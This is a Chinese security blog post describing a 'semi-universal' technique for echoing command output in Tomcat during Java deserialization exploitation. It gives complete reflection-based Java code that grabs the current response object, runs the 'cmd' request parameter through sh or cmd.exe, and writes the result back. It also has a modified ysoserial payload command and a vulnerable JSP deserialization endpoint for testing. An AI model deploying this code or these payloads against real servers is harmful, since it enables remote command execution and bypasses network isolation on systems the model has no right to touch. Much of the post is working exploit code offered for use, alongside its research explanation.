前言

前段时间和@lufei 大哥学习了一波Linux下基于文件描述符的反序列化回显方式的思路。

在自己实现的过程中发现,是通过IP和端口号的筛选,从而过滤出当前线程(也可以说是请求)的文件描述符,进而加入回显的内容。

但是同时也有一个疑问,我们使用回显的目前主要是因为一些端口的过滤,一些内外网的隔离。从而将一些无法从别的途径传输的执行结果,通过http请求的方式,附加在原本的response中,从而绕过一些防护和限制。

以个人的理解,在这种情况下,大概率会有一些负载均衡在真正的服务器前面,这样服务器中显示的ip和端口都会是LB的信息,这种筛选的方式也就失效了。

当时的想法也是如果能直接获取到当前请求的response变量,直接write就可以了。但是对tomcat不是很熟悉,弄了个简易版适配Spring的就没后文了。

最近又在社区中看到一个师傅发了这个Linux文件描述符的回显方式,评论处也提出了如果能直接获取response的效果会更好,于是就开始试着找了下如何获取tomcat的response变量。

https://xz.aliyun.com/t/7307

寻找过程

这里起的是一个spring boot,先试着往Controller里面注入一个response

为了确保我们获取到的response对象确实是tomcat的response,我们顺着堆栈一直往下。

可以发现request和response几乎就是一路传递的,并且在内存中都是同一个变量(变量toString最后的数字就是当前变量的部分哈希)

这样,就没有问题,只要我们能获取到这些堆栈中,任何一个类的response实例即可。

接下来就是找哪里的response变量可以被我们获取,比较蛋疼的是,每个函数都是通过传参的方式传递的response和request。

那这样的话,在这过程中request和response有没有在哪里被记录过,而且为了通用性,我们只应该寻找tomcat部分的代码,和spring相关的就可以不用看了。

而且记录的变量不应该是一个全局变量,而应该是一个ThreadLocal,这样才能获取到当前线程的请求信息。而且最好是一个static静态变量,否则我们还需要去获取那个变量所在的实例。

顺着这个思路,刚好在org.apache.catalina.core.ApplicationFilterChain这个类中,找到了一个符合要求的变量。

而且很巧的是,刚好在处理我们Controller逻辑之前,有记录request和response的动作。

虽然if条件是false,但是不要紧,我们有反射。

这样,整体的思路大概就是

1、反射修改ApplicationDispatcher.WRAP_SAME_OBJECT,让代码逻辑走到if条件里面

2、初始化lastServicedRequestlastServicedResponse两个变量,默认为null

3、从lastServicedResponse中获取当前请求response,并且回显内容。

写的过程中也学习了一下怎么通过反射修改一个private final的变量,还踩了一些坑,总之直接放上最后的代码

Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

ThreadLocal<ServletResponse> lastServicedResponse =
    (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
String cmd = lastServicedRequest != null
    ? lastServicedRequest.get().getParameter("cmd")
    : null;
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
    lastServicedRequestField.set(null, new ThreadLocal<>());
    lastServicedResponseField.set(null, new ThreadLocal<>());
    WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else if (cmd != null) {
    ServletResponse responseFacade = lastServicedResponse.get();
    responseFacade.getWriter();
    java.io.Writer w = responseFacade.getWriter();
    Field responseField = ResponseFacade.class.getDeclaredField("response");
    responseField.setAccessible(true);
    Response response = (Response) responseField.get(responseFacade);
    Field usingWriter = Response.class.getDeclaredField("usingWriter");
    usingWriter.setAccessible(true);
    usingWriter.set((Object) response, Boolean.FALSE);

    boolean isLinux = true;
    String osTyp = System.getProperty("os.name");
    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
        isLinux = false;
    }
    String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
    Scanner s = new Scanner(in).useDelimiter("\\a");
    String output = s.hasNext() ? s.next() : "";
    w.write(output);
    w.flush();
}

原本Contorller代码的逻辑是输出input部分的内容,我们所做的就是在原本的输出内容前面,添加cmd参数执行之后的结果。

需要刷新两次的原因是因为第一次只是通过反射去修改值,这样在之后的运行中就会cache我们的请求,从而也就能获取到response。

加入ysoserial

这样,这样只要稍加改造一下,擦去泛型的部分,用完整的类名代替原本的类名,就可以放入到ysoserial中。

中间莫名又踩了一些坑,嫌麻烦的师傅可以直接用已经改好的版本。

https://github.com/kingkaki/ysoserial

ysoserial的第二个参数是要执行的命令,由于这里可以直接从request获取,自由度更大,所以我将第二个参数改成了要执行的命令的param。

CommonsCollections2为例,如下的方式就相当于创建了一个从cmd参数获取要执行的命令的payload。

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2TomcatEcho cmd

测试一下别的tomcat环境,以jsp为例,确保有commons-collections4的依赖

然后自己构造一个反序列化的环境

<%
try {
    String input = request.getParameter("input");
    byte[] b = new sun.misc.BASE64Decoder().decodeBuffer(input);
    java.io.ObjectInputStream ois = new java.io.ObjectInputStream(new java.io.ByteArrayInputStream(b));
    ois.readObject();
} catch (Exception e) {
    e.printStackTrace();
}
%>

可以看到内容成功的追加到了输出的body中。

一些局限性

回到标题,为什么是一个半通用的方法呢?

当时构造好了之后兴匆匆的跑了一波shiro的反序列化,死活不成功,debug了很久之后发现了一个问题。

shiro的rememberMe功能,其实是shiro自己实现的一个filter

org.apache.catalina.core.ApplicationFilterChaininternalDoFilter中(省略一些无用的代码)

if (pos < n) {
    ApplicationFilterConfig filterConfig = filters[pos++];
    try {
        Filter filter = filterConfig.getFilter();
        ...
         filter.doFilter(request, response, this);
    } catch (...)
        ...
    }
    return;
}

// We fell off the end of the chain -- call the servlet instance
try {
    if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
        lastServicedRequest.set(request);
        lastServicedResponse.set(response);
    }

    if (request.isAsyncSupported() && !servletSupportsAsync) {
        request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR,
                             Boolean.FALSE);
    }
    // Use potentially wrapped request from this point
    if (...){
        ...
    } else {
        servlet.service(request, response);
    }
} catch (...) {
    ...
} finally {
    ...
}

可以看到是先取出所有的的filter对当前请求进行拦截,通过之后,再进行cache request,再从servlet.service(request, response)进入jsp的逻辑代码。

rememberMe功能就是ShiroFilter的一个模块,这样的话在这部分逻辑中执行的代码,还没进入到cache request的操作中,此时的cache内容就是空,从而也就获取不到我们想要的response。

最后

ysoserial中所有用createTemplatesImpl生成payload的链都已加入了Tomcat回显的模式。

https://github.com/kingkaki/ysoserial

  • CommonsCollections2TomcatEcho
  • CommonsCollections3TomcatEcho
  • CommonsCollections4TomcatEcho

感觉也不仅限于反序列化吧,一些拥有java代码执行的场景都通过这种方式,实现Tomcat的回显。

比较蛋疼的一点就是一些filter中执行的代码不适用,就很可能不适用于很多框架型的漏洞,但是对于开发人员写的Controller中的场景应该都是可以的。

技术比较菜,如果有师傅发现了更好的利用方式,或者一些文章中的疏漏,都可以一起探讨。

点击收藏 | 1 关注 | 1
登录 后跟帖